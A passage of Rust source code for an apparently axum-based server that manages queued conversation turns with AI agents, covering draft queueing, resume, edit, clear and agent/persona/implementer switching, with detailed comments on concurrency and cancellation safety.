9965                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9966                    })
9967                })
9968                .collect::<ApiResult<Vec<talk::Attachment>>>()
9969        })
9970        .await?
9971    };
9972    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9973        .await.map_err(ApiError::from)?;
9974
9975    // Pending recovery and a new immediate turn are decided under the same
9976    // claim lock. Without that one critical section, a second `/say` can see
9977    // the first request's claim as "busy" and append itself to the recovered
9978    // draft before the first request rejects it.
9979    let start = {
9980        let ui = Arc::clone(&ui);
9981        let id = id.clone();
9982        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9983    };
9984    let turn_guard = match start {
9985        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9986        TalkTurnStart::Pending => {
9987            return Err(ApiError::conflict(
9988                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9989            ));
9990        }
9991        TalkTurnStart::Foreign => {
9992            return Err(ApiError::conflict(
9993                "a turn is already running in another process; try again when it has finished",
9994            ));
9995        }
9996        TalkTurnStart::Busy => {
9997            // A turn is already running: queue rather than refuse. See
9998            // `Ui::begin_talk_turn` and `talk::queue`.
9999            //
10000            // The queue write and the drain it may owe live inside the task
10001            // `tokio::spawn` hands to the runtime, for the same reason the
10002            // immediate path below puts `record` there: a dropped handler
10003            // future must not be able to land between a durable write and
10004            // the task that answers it. `blocking` runs its closure on
10005            // `spawn_blocking`, which finishes whether or not anyone is left
10006            // to receive its result - so a disconnect at the `.await` below
10007            // would otherwise leave the draft persisted and the reclaimed
10008            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
10009            // ever started and the queued text stranded until some later
10010            // `say` happened to pick it up. The caller's 202 travels back
10011            // over a `oneshot`, sent the moment the write lands.
10012            let (tx, rx) = tokio::sync::oneshot::channel();
10013            tokio::spawn({
10014                let ui = Arc::clone(&ui);
10015                let id = id.clone();
10016                let said = body.text.clone();
10017                let reply_to = body.reply_to.clone();
10018                async move {
10019                    let written = blocking({
10020                        let ui = Arc::clone(&ui);
10021                        let id = id.clone();
10022                        move || {
10023                            let mut talk = ui.talks.get(&id)?;
10024                            // A test-only stop point, right before the write
10025                            // an interleaving test needs to pin - see
10026                            // `BusyQueueGate`. `None` in every real server:
10027                            // the field only exists under `#[cfg(test)]`.
10028                            #[cfg(test)]
10029                            if let Some(gate) = ui
10030                                .busy_queue_gate
10031                                .lock()
10032                                .unwrap_or_else(PoisonError::into_inner)
10033                                .take()
10034                            {
10035                                let _ = gate.reached.send(());
10036                                let _ = gate.release.recv();
10037                            }
10038                            if let Err(error) = talk::queue_reply(
10039                                &mut talk,
10040                                &ui.talks,
10041                                &said,
10042                                attachments,
10043                                reply_to,
10044                            ) {
10045                                if let Ok(fresh) = ui.talks.get(&id) {
10046                                    if !fresh.status.open() {
10047                                        return Err(ApiError::conflict(format!(
10048                                            "talk {} is {} and takes no more turns",
10049                                            fresh.short(),
10050                                            fresh.status.as_str()
10051                                        )));
10052                                    }
10053                                }
10054                                return Err(
10055                                    if error.to_string().contains("invalid reply target") {
10056                                        ApiError::bad_request("invalid reply target")
10057                                    } else {
10058                                        ApiError::from(error)
10059                                    },
10060                                );
10061                            }
10062                            // The turn that looked busy a moment ago can have
10063                            // finished, found nothing to drain and given up the
10064                            // slot in the gap between that check and this write
10065                            // landing - see `drain_loop`'s own doc for the other
10066                            // half of why that gap would otherwise be able to
10067                            // open at all. Reclaiming the slot here, rather than
10068                            // trusting that whoever held it is still watching, is
10069                            // what stops the text just queued from being stranded
10070                            // until an unrelated future `say` happens to drain
10071                            // it.
10072                            let claim = match ui.begin_queued_talk_turn(&id)? {
10073                                Some(turn_guard) => {
10074                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
10075                                    Some((talk.clone(), cfg, turn_guard))
10076                                }
10077                                None => None,
10078                            };
10079                            let thinking = ui.is_thinking(&id);
10080                            Ok((TalkView::new(talk, thinking, &ui), claim))
10081                        }
10082                    })
10083                    .await;
10084                    #[cfg(not(test))]
10085                    {
10086                        match written {
10087                            Ok((view, reclaimed)) => {
10088                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
10089                                drop(reclaimed);
10090                                match launched {
10091                                    Ok(_) => { let _ = tx.send(Ok(view)); }
10092                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10093                                }
10094                            }
10095                            Err(error) => { let _ = tx.send(Err(error)); }
10096                        }
10097                    }
10098                    #[cfg(test)]
10099                    {
10100                    let (view, reclaimed) = match written {
10101                        Ok(pair) => pair,
10102                        Err(e) => {
10103                            // Nobody is listening if the handler's own future
10104                            // was already dropped - that is fine, nothing was
10105                            // persisted and there is no response left to carry
10106                            // this error to.
10107                            let _ = tx.send(Err(e));
10108                            return;
10109                        }
10110                    };
10111                    // If this fails, the caller is gone; the drain below still
10112                    // runs exactly as it would have for a caller that stayed.
10113                    let _ = tx.send(Ok(view));
10114                    if let Some((talk, cfg, turn_guard)) = reclaimed {
10115                        let talks = ui.talks.clone();
10116                        drain_loop(talk, talks, cfg, id, turn_guard).await;
10117                    }
10118                    }
10119                }
10120            });
10121            let view = rx
10122                .await
10123                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10124            return Ok((StatusCode::ACCEPTED, Json(view)));
10125        }
10126    };
10127
10128    let (talk, cfg) = {
10129        let ui = Arc::clone(&ui);
10130        let id = id.clone();
10131        blocking(move || {
10132            let talk = ui.talks.get(&id)?;
10133            let (cfg, _) = Config::discover(&talk.repo, None)?;
10134            Ok((talk, cfg))
10135        })
10136        .await?
10137    };
10138
10139    let talks = ui.talks.clone();
10140    // `record` runs *inside* the spawned task, rather than in this handler
10141    // followed by a separate `tokio::spawn` for `respond` - axum drops this
10142    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
10143    // doc), and that drop can land at any `.await` this function makes,
10144    // including one that has already produced its result but not yet
10145    // resumed. A message could end up recorded on disk with the handler
10146    // future gone before it ever reached the `tokio::spawn` that would have
10147    // started the reply. `tokio::spawn` itself is a plain, synchronous call
10148    // that hands the whole future to the runtime as one unit - once made, no
10149    // later drop of *this* handler's own future (that call's return value is
10150    // never held onto here) can reach back in and stop it, so record and the
10151    // hand-off to `respond` are unconditionally atomic from the client's
10152    // point of view. The immediate response this handler owes the caller
10153    // travels back over a `oneshot`, sent the moment `record` succeeds.
10154    let (tx, rx) = tokio::sync::oneshot::channel();
10155    tokio::spawn({
10156        #[cfg(test)]
10157        let ui = Arc::clone(&ui);
10158        let talks = talks.clone();
10159        let id = id.clone();
10160        let said = body.text.clone();
10161        let reply_to = body.reply_to.clone();
10162        let mut talk = talk.clone();
10163        async move {
10164            let recorded = blocking({
10165                let talks = talks.clone();
10166                move || {
10167                    if let Err(error) =
10168                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
10169                    {
10170                        if let Ok(fresh) = talks.get(&talk.id) {
10171                            if !fresh.status.open() {
10172                                return Err(ApiError::conflict(format!(
10173                                    "talk {} is {} and takes no more turns",
10174                                    fresh.short(),
10175                                    fresh.status.as_str()
10176                                )));
10177                            }
10178                        }
10179                        return Err(if error.to_string().contains("invalid reply target") {
10180                            ApiError::bad_request("invalid reply target")
10181                        } else {
10182                            ApiError::from(error)
10183                        });
10184                    }
10185                    // `record` mutates `talk` in place to the freshly persisted
10186                    // state (status, pending, and the just-appended operator
10187                    // turn), so returning it here is equivalent to re-reading it
10188                    // from disk - without the extra round trip a re-read would
10189                    // need.
10190                    Ok((said.trim().to_owned(), talk))
10191                }
10192            })
10193            .await;
10194            let (text, talk) = match recorded {
10195                Ok(pair) => pair,
10196                Err(e) => {
10197                    // Nobody is listening if the handler's own future was
10198                    // already dropped - that is fine, there is no response
10199                    // left to carry this error to and nothing was persisted.
10200                    let _ = tx.send(Err(e));
10201                    return;
10202                }
10203            };
10204            #[cfg(not(test))]
10205            {
10206                let _ = (&cfg, &text);
10207                // The reservation becomes durable while this process still
10208                // holds the talk lease. The child waits for that lease; the
10209                // new UI sees its startup reservation immediately.
10210                let result = crate::chat_worker::spawn_recorded_turn(
10211                    &talks, &id, talk.turns.len() - 1,
10212                ).await;
10213                drop(turn_guard);
10214                match result {
10215                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
10216                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10217                }
10218            }
10219            #[cfg(test)]
10220            {
10221            let queued = talk.clone();
10222            let mut talk = talk;
10223            let thinking = ui.is_thinking(&id);
10224            // If this fails, the caller is gone; the turn still runs below
10225            // exactly as it would have for a caller that stayed connected.
10226            let _ = tx.send(Ok((queued, thinking)));
10227
10228            let turn_index = talk.turns.len() - 1;
10229            if let Err(e) = turn_guard
10230                .respond_at(&mut talk, &talks, &cfg, &text, Some(turn_index))
10231                .await
10232            {
10233                // `respond` records the failure in the transcript itself,
10234                // which is what the phone reads; this line is for the
10235                // operator's terminal.
10236                tracing::warn!("talk {id} turn failed: {e:#}");
10237            }
10238            // Anything `talk::queue` added while the turn above was running
10239            // is still owed an answer - see `drain_loop`.
10240            drain_loop(talk, talks, cfg, id, turn_guard).await;
10241            }
10242        }
10243    });
10244
10245    let (queued, thinking) = rx
10246        .await
10247        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10248
10249    // 202: the operator's message is recorded and a turn is running.
10250    Ok((
10251        StatusCode::ACCEPTED,
10252        Json(TalkView::new(queued, thinking, &ui)),
10253    ))
10254    }).await
10255}
10256
10257/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
10258/// changing it. The turn guard is the same per-talk ownership `talk_say`
10259/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
10260async fn talk_pending_resume(
10261    State(ui): State<Arc<Ui>>,
10262    Path(id): Path<String>,
10263) -> ApiResult<(StatusCode, Json<TalkView>)> {
10264    let admission = ui.begin_admission()?;
10265    admitted(admission, async move {
10266        let id = {
10267            let ui = Arc::clone(&ui);
10268            let asked = id.clone();
10269            blocking(move || resolve_talk(&ui.talks, &asked)).await?
10270        };
10271        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10272            .await
10273            .map_err(ApiError::from)?;
10274        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10275            return Err(ApiError::conflict(
10276                "a talk turn is already running; the queued draft will be handled by it",
10277            ));
10278        };
10279        let (talk, cfg) = {
10280            let ui = Arc::clone(&ui);
10281            let id = id.clone();
10282            blocking(move || {
10283                let talk = ui.talks.get(&id)?;
10284                if !talk.status.open() {
10285                    return Err(ApiError::conflict(format!(
10286                        "talk {} is {} and takes no more turns",
10287                        talk.short(),
10288                        talk.status.as_str()
10289                    )));
10290                }
10291                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10292                    return Err(ApiError::conflict("there is no queued draft to resume"));
10293                }
10294                let (cfg, _) = Config::discover(&talk.repo, None)?;
10295                Ok((talk, cfg))
10296            })
10297            .await?
10298        };
10299        let view = TalkView::new(talk.clone(), true, &ui);
10300        let talks = ui.talks.clone();
10301        #[cfg(not(test))]
10302        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10303        #[cfg(test)]
10304        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10305        Ok((StatusCode::ACCEPTED, Json(view)))
10306    })
10307    .await
10308}
10309
10310/// Hand off an admitted draft while retaining the talk lease until its
10311/// detached startup reservation is durable.
10312#[cfg(not(test))]
10313async fn detach_talk_turn(
10314    _talk: Talk,
10315    talks: Talks,
10316    _cfg: Config,
10317    id: String,
10318    turn: TalkTurnGuard,
10319) -> ApiResult<()> {
10320    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10321    drop(turn);
10322    launched.map(|_| ()).map_err(ApiError::from)
10323}
10324
10325#[cfg(test)]
10326async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10327    drain_loop_started(talk, talks, cfg, id, turn, None).await;
10328}
10329
10330/// A settings response must not report idle while its claim is still held.
10331/// Wait until the first drain either releases the claim or promotes a draft.
10332/// The task owns the guard even if the HTTP handler is cancelled while waiting.
10333async fn settle_settings_turn(
10334    talk: Talk,
10335    talks: Talks,
10336    cfg: Config,
10337    id: String,
10338    turn: TalkTurnGuard,
10339    observed: u64,
10340) -> bool {
10341    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10342        let turns = Arc::clone(&turn.turns);
10343        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10344        if live.queued.get(&id).copied().unwrap_or(0) == observed {
10345            // Release under the arrival lock; a later `/say` takes its own claim.
10346            turn.release(&mut live);
10347            return false;
10348        }
10349    }
10350    let (started, settled) = tokio::sync::oneshot::channel();
10351    tokio::spawn(drain_loop_started(
10352        talk,
10353        talks,
10354        cfg,
10355        id,
10356        turn,
10357        Some(started),
10358    ));
10359    settled.await.unwrap_or(false)
10360}
10361
10362#[cfg(not(test))]
10363async fn drain_loop_started(
10364    talk: Talk,
10365    talks: Talks,
10366    _cfg: Config,
10367    id: String,
10368    turn: TalkTurnGuard,
10369    started: Option<tokio::sync::oneshot::Sender<bool>>,
10370) {
10371    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10372    let running = if pending {
10373        match crate::chat_worker::spawn_turn(&talks, &id).await {
10374            Ok(_) => true,
10375            Err(error) => {
10376                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10377                false
10378            }
10379        }
10380    } else {
10381        false
10382    };
10383    drop(turn);
10384    if let Some(started) = started {
10385        let _ = started.send(running);
10386    }
10387}
10388
10389// Existing in-process conversation tests exercise transcript/arrival ordering;
10390// real process-lifetime behavior is covered by the CLI integration tests.
10391#[cfg(test)]
10392async fn drain_loop_started(
10393    mut talk: Talk,
10394    talks: Talks,
10395    cfg: Config,
10396    id: String,
10397    turn: TalkTurnGuard,
10398    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10399) {
10400    let live_set = Arc::clone(&turn.turns);
10401    // `Option` rather than binding `turn` directly to a `_turn` that lives
10402    // for the whole function: releasing it has to happen by calling
10403    // `TalkTurnGuard::release` from inside the locked branch below, which
10404    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10405    // remove the id - correctly, if this loop is ever left some other way -
10406    // but doing it there misses the lock this loop is already holding, which
10407    // is the exact gap `release` exists to close.
10408    let mut turn = Some(turn);
10409    loop {
10410        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10411            // The lease was taken over while a turn ran. Whatever is queued
10412            // stays a draft; running it here would race the new owner.
10413            tracing::warn!("talk {id} lost its turn lease; not draining further");
10414            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10415            if let Some(turn) = turn.take() {
10416                turn.release(&mut live);
10417            }
10418            break;
10419        }
10420        // `talk::drain` takes the store lock and can write/rename the talk
10421        // file. Keep the turn mutex out of that synchronous work: it protects
10422        // every talk's in-memory claim, not this talk's disk operation.
10423        let observed = live_set
10424            .lock()
10425            .unwrap_or_else(PoisonError::into_inner)
10426            .queued
10427            .get(&id)
10428            .copied()
10429            .unwrap_or(0);
10430        let drained = blocking({
10431            let talks = talks.clone();
10432            move || {
10433                let result = talk::drain_indexed(&mut talk, &talks);
10434                Ok((talk, result))
10435            }
10436        })
10437        .await;
10438        let (next_talk, result) = match drained {
10439            Ok(drained) => drained,
10440            Err(e) => {
10441                tracing::warn!(
10442                    status = %e.status,
10443                    message = %e.message,
10444                    "talk {id} could not start queued-text drain"
10445                );
10446                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10447                turn.take()
10448                    .expect("held for the whole loop until released here")
10449                    .release(&mut live);
10450                break;
10451            }
10452        };
10453        talk = next_talk;
10454        let (drained, drained_index) = match result {
10455            Ok(Some(drained)) => drained,
10456            Ok(None) => {
10457                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10458                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10459                    continue;
10460                }
10461                turn.take()
10462                    .expect("held for the whole loop until released here")
10463                    .release(&mut live);
10464                break;
10465            }
10466            Err(e) => {
10467                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10468                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10469                turn.take()
10470                    .expect("held for the whole loop until released here")
10471                    .release(&mut live);
10472                break;
10473            }
10474        };
10475        if let Some(started) = started.take() {
10476            let _ = started.send(true);
10477        }
10478        let responded = match turn.as_ref() {
10479            Some(turn) => {
10480                turn.respond_at(&mut talk, &talks, &cfg, &drained, Some(drained_index))
10481                    .await
10482            }
10483            None => Err(anyhow::anyhow!("the turn guard was released")),
10484        };
10485        if let Err(e) = responded {
10486            tracing::warn!("talk {id} turn failed: {e:#}");
10487        }
10488    }
10489    drop(turn);
10490    if let Some(started) = started {
10491        let _ = started.send(false);
10492    }
10493}
10494
10495/// Clear a queued draft only if it remains exactly the one the caller saw.
10496async fn talk_pending_clear(
10497    State(ui): State<Arc<Ui>>,
10498    Path(id): Path<String>,
10499    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10500) -> ApiResult<Json<TalkView>> {
10501    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10502    blocking(move || {
10503        let id = resolve_talk(&ui.talks, &id)?;
10504        let mut talk = ui.talks.get(&id)?;
10505        if !talk.status.open() {
10506            return Err(ApiError::conflict(format!(
10507                "talk {} is {} and takes no more turns",
10508                talk.short(),
10509                talk.status.as_str()
10510            )));
10511        }
10512        if !talk::clear_pending_if_matches(
10513            &mut talk,
10514            &ui.talks,
10515            &body.expected_text,
10516            &body.expected_attachments,
10517        )? {
10518            return Err(ApiError::conflict(
10519                "queued message changed; reload it before clearing",
10520            ));
10521        }
10522        let thinking = ui.is_thinking(&talk.id);
10523        Ok(Json(TalkView::new(talk, thinking, &ui)))
10524    })
10525    .await
10526}
10527
10528/// Atomically edit a queued draft's text while preserving its attachments.
10529/// The snapshot fields make a concurrent queue or drain a conflict rather
10530/// than silently discarding either message.
10531async fn talk_pending_edit(
10532    State(ui): State<Arc<Ui>>,
10533    Path(id): Path<String>,
10534    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10535) -> ApiResult<Json<TalkView>> {
10536    let admission = ui.begin_admission()?;
10537    admitted(admission, async move {
10538        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10539        let id = {
10540            let ui = Arc::clone(&ui);
10541            blocking(move || resolve_talk(&ui.talks, &id)).await?
10542        };
10543        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10544            .await
10545            .map_err(ApiError::from)?;
10546        let (view, reclaimed) = blocking({
10547            let ui = Arc::clone(&ui);
10548            move || {
10549                let mut talk = ui.talks.get(&id)?;
10550                if !talk.status.open() {
10551                    return Err(ApiError::conflict(format!(
10552                        "talk {} is {} and takes no more turns",
10553                        talk.short(),
10554                        talk.status.as_str()
10555                    )));
10556                }
10557                if !talk::edit_pending_message(
10558                    &mut talk,
10559                    &ui.talks,
10560                    &body.text,
10561                    &body.expected_text,
10562                    &body.expected_attachments,
10563                    body.message,
10564                )? {
10565                    return Err(ApiError::conflict(
10566                        "queued message changed; reload it before editing",
10567                    ));
10568                }
10569                let claim = match ui.begin_queued_talk_turn(&id)? {
10570                    Some(turn_guard) => {
10571                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10572                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10573                    }
10574                    None => None,
10575                };
10576                let thinking = ui.is_thinking(&id);
10577                Ok((TalkView::new(talk, thinking, &ui), claim))
10578            }
10579        })
10580        .await?;
10581        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10582            let talks = ui.talks.clone();
10583            #[cfg(not(test))]
10584            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10585            #[cfg(test)]
10586            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10587        }
10588        Ok(Json(view))
10589    })
10590    .await
10591}
10592
10593/// The 409 for a talk that takes no more turns.
10594fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10595    if talk.status.open() {
10596        return Ok(());
10597    }
10598    Err(ApiError::conflict(format!(
10599        "talk {} is {} and takes no more turns",
10600        talk.short(),
10601        talk.status.as_str()
10602    )))
10603}
10604
10605/// The body of `POST /api/talks/{id}/agent`.
10606#[derive(Debug, Deserialize)]
10607struct TalkAgent {
10608    agent: String,
10609}
10610
10611/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10612/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10613/// start a turn on the old session between the check and the write; one that
10614/// arrives in that window finds the talk busy and becomes a draft.
10615async fn talk_agent(
10616    State(ui): State<Arc<Ui>>,
10617    Path(id): Path<String>,
10618    Json(body): Json<TalkAgent>,
10619) -> ApiResult<Json<TalkView>> {
10620    let admission = ui.begin_admission()?;
10621    admitted(admission, async move {
10622        let id = {
10623            let ui = Arc::clone(&ui);
10624            blocking(move || resolve_talk(&ui.talks, &id)).await?
10625        };
10626        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10627            .await
10628            .map_err(ApiError::from)?;
10629        let repo = {
10630            let ui = Arc::clone(&ui);
10631            let id = id.clone();
10632            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10633        };
10634        let cfg = config_for(&repo).await?;
10635        // Refuse before taking the claim; see `talk_implementers`.
10636        {
10637            let ui = Arc::clone(&ui);
10638            let id = id.clone();
10639            let cfg = cfg.clone();
10640            let wanted = body.agent.clone();
10641            blocking(move || {
10642                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10643                    .map_err(ApiError::bad_request_from)?;
10644                refuse_if_closed(&ui.talks.get(&id)?)
10645            })
10646            .await?;
10647        }
10648        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10649            return Err(ApiError::conflict(
10650                "a talk turn is running; change the agent once it has answered",
10651            ));
10652        };
10653        let switched = {
10654            let ui = Arc::clone(&ui);
10655            let id = id.clone();
10656            let cfg = cfg.clone();
10657            blocking(move || {
10658                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10659                    .map_err(ApiError::bad_request_from)?;
10660                let mut talk = ui.talks.get(&id)?;
10661                if !talk.status.open() {
10662                    return Err(ApiError::conflict(format!(
10663                        "talk {} is {} and takes no more turns",
10664                        talk.short(),
10665                        talk.status.as_str()
10666                    )));
10667                }
10668                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10669                Ok(talk)
10670            })
10671            .await
10672        };
10673        // A `/say` that landed while this held the claim saw the talk busy and
10674        // left a durable draft, trusting the claim's owner to drain it. So the
10675        // claim is settled whatever the outcome. Release an empty draft's claim
10676        // before replying; queued drafts continue independently of the handler.
10677        let observed = ui.queued_generation(&id);
10678        let fresh = {
10679            let ui = Arc::clone(&ui);
10680            let id = id.clone();
10681            blocking(move || Ok(ui.talks.get(&id)?)).await
10682        };
10683        let draining = match fresh {
10684            Ok(talk) => {
10685                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10686            }
10687            Err(_) => false,
10688        };
10689        let talk = switched?;
10690        Ok(Json(TalkView::new(talk, draining, &ui)))
10691    })
10692    .await
10693}
10694
10695/// The body of `POST /api/talks/{id}/persona`.
10696#[derive(Debug, Deserialize)]
10697struct TalkPersona {
10698    persona: String,
10699}
10700
10701/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10702/// like [`talk_agent`]: the turn guard is held for the change and always handed
10703/// to `drain_loop`, so a draft left meanwhile is not stranded.
10704async fn talk_persona(
10705    State(ui): State<Arc<Ui>>,
10706    Path(id): Path<String>,
10707    Json(body): Json<TalkPersona>,
10708) -> ApiResult<Json<TalkView>> {
10709    let admission = ui.begin_admission()?;
10710    admitted(admission, async move {
10711        let id = {
10712            let ui = Arc::clone(&ui);
10713            blocking(move || resolve_talk(&ui.talks, &id)).await?
10714        };
10715        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10716            .await
10717            .map_err(ApiError::from)?;
10718        let repo = {
10719            let ui = Arc::clone(&ui);
10720            let id = id.clone();
10721            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10722        };
10723        let cfg = config_for(&repo).await?;
10724        // Refuse before taking the claim; see `talk_implementers`.
10725        {
10726            let ui = Arc::clone(&ui);
10727            let id = id.clone();
10728            let cfg = cfg.clone();
10729            let wanted = body.persona.clone();
10730            blocking(move || {
10731                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10732                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10733                }
10734                refuse_if_closed(&ui.talks.get(&id)?)
10735            })
10736            .await?;
10737        }
10738        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10739            return Err(ApiError::conflict(
10740                "a talk turn is running; change the persona once it has answered",
10741            ));
10742        };
10743        let switched = {
10744            let ui = Arc::clone(&ui);
10745            let id = id.clone();
10746            let cfg = cfg.clone();
10747            blocking(move || {
10748                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10749                    return Err(ApiError::bad_request(format!(
10750                        "unknown persona `{}`",
10751                        body.persona
10752                    )));
10753                };
10754                let mut talk = ui.talks.get(&id)?;
10755                if !talk.status.open() {
10756                    return Err(ApiError::conflict(format!(
10757                        "talk {} is {} and takes no more turns",
10758                        talk.short(),
10759                        talk.status.as_str()
10760                    )));
10761                }
10762                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10763                Ok(talk)
10764            })
10765            .await
10766        };
10767        // As in `talk_agent`: settle the claim before replying, even on refusal.
10768        let observed = ui.queued_generation(&id);
10769        let fresh = {
10770            let ui = Arc::clone(&ui);
10771            let id = id.clone();
10772            blocking(move || Ok(ui.talks.get(&id)?)).await
10773        };
10774        let draining = match fresh {
10775            Ok(talk) => {
10776                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10777            }
10778            Err(_) => false,
10779        };
10780        let talk = switched?;
10781        Ok(Json(TalkView::new(talk, draining, &ui)))
10782    })
10783    .await
10784}
10785
10786/// The body of `POST /api/talks/{id}/implementers`.
10787#[derive(Debug, Deserialize)]
10788struct TalkImplementers {
10789    implementers: u8,
10790}
10791
10792/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10793/// like [`talk_agent`]: the turn guard is held for the change and always handed
10794/// to `drain_loop`, so a draft left meanwhile is not stranded.
10795async fn talk_implementers(
10796    State(ui): State<Arc<Ui>>,
10797    Path(id): Path<String>,
10798    Json(body): Json<TalkImplementers>,
10799) -> ApiResult<Json<TalkView>> {
10800    let admission = ui.begin_admission()?;
10801    admitted(admission, async move {
10802        let id = {
10803            let ui = Arc::clone(&ui);
10804            blocking(move || resolve_talk(&ui.talks, &id)).await?
10805        };
10806        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10807            .await
10808            .map_err(ApiError::from)?;
10809        let repo = {
10810            let ui = Arc::clone(&ui);
10811            let id = id.clone();
10812            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10813        };
10814        let cfg = config_for(&repo).await?;
10815        // Refuse a request that cannot succeed before taking the claim: a claim
10816        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10817        // moment, so a refusal would make the next request see "busy" instead of
10818        // its own answer. The checks after the claim stay the ones that decide.
10819        {
10820            let ui = Arc::clone(&ui);
10821            let id = id.clone();
10822            let cfg = cfg.clone();
10823            let wanted = body.implementers;
10824            blocking(move || {
10825                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10826                refuse_if_closed(&ui.talks.get(&id)?)
10827            })
10828            .await?;
10829        }
10830        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10831            return Err(ApiError::conflict(
10832                "a talk turn is running; change the implementers once it has answered",
10833            ));
10834        };
10835        let switched = {
10836            let ui = Arc::clone(&ui);
10837            let id = id.clone();
10838            let cfg = cfg.clone();
10839            blocking(move || {
10840                let chosen = talk::check_implementers(body.implementers, &cfg)
10841                    .map_err(ApiError::bad_request)?;
10842                let mut talk = ui.talks.get(&id)?;
10843                if !talk.status.open() {
10844                    return Err(ApiError::conflict(format!(
10845                        "talk {} is {} and takes no more turns",
10846                        talk.short(),
10847                        talk.status.as_str()
10848                    )));
10849                }
10850                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10851                Ok(talk)
10852            })
10853            .await
10854        };
10855        // As in `talk_agent`: settle the claim before replying, even on refusal.
10856        let observed = ui.queued_generation(&id);
10857        let fresh = {
10858            let ui = Arc::clone(&ui);
10859            let id = id.clone();
10860            blocking(move || Ok(ui.talks.get(&id)?)).await
10861        };
10862        let draining = match fresh {
10863            Ok(talk) => {
10864                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10865            }
10866            Err(_) => false,
10867        };
10868        let talk = switched?;
10869        Ok(Json(TalkView::new(talk, draining, &ui)))
10870    })
10871    .await
10872}
10873
10874/// `POST /api/talks/{id}/close`.
10875async fn talk_close(
10876    State(ui): State<Arc<Ui>>,
10877    Path(id): Path<String>,
10878) -> ApiResult<Json<TalkView>> {
10879    blocking(move || {
10880        let id = resolve_talk(&ui.talks, &id)?;
10881        let mut talk = ui.talks.get(&id)?;
10882        talk::close(&mut talk, &ui.talks).map_err(|error| {
10883            if error.is::<talk::ClosePendingInput>() {
10884                ApiError::conflict(format!("{error:#}"))
10885            } else {
10886                ApiError::from(error)
10887            }
10888        })?;
10889        let thinking = ui.is_thinking(&talk.id);
10890        Ok(Json(TalkView::new(talk, thinking, &ui)))
10891    })
10892    .await
10893}
10894
10895/// `POST /api/talks/{id}/reopen`.
10896async fn talk_reopen(
10897    State(ui): State<Arc<Ui>>,
10898    Path(id): Path<String>,
10899) -> ApiResult<Json<TalkView>> {
10900    blocking(move || {
10901        let id = resolve_talk(&ui.talks, &id)?;
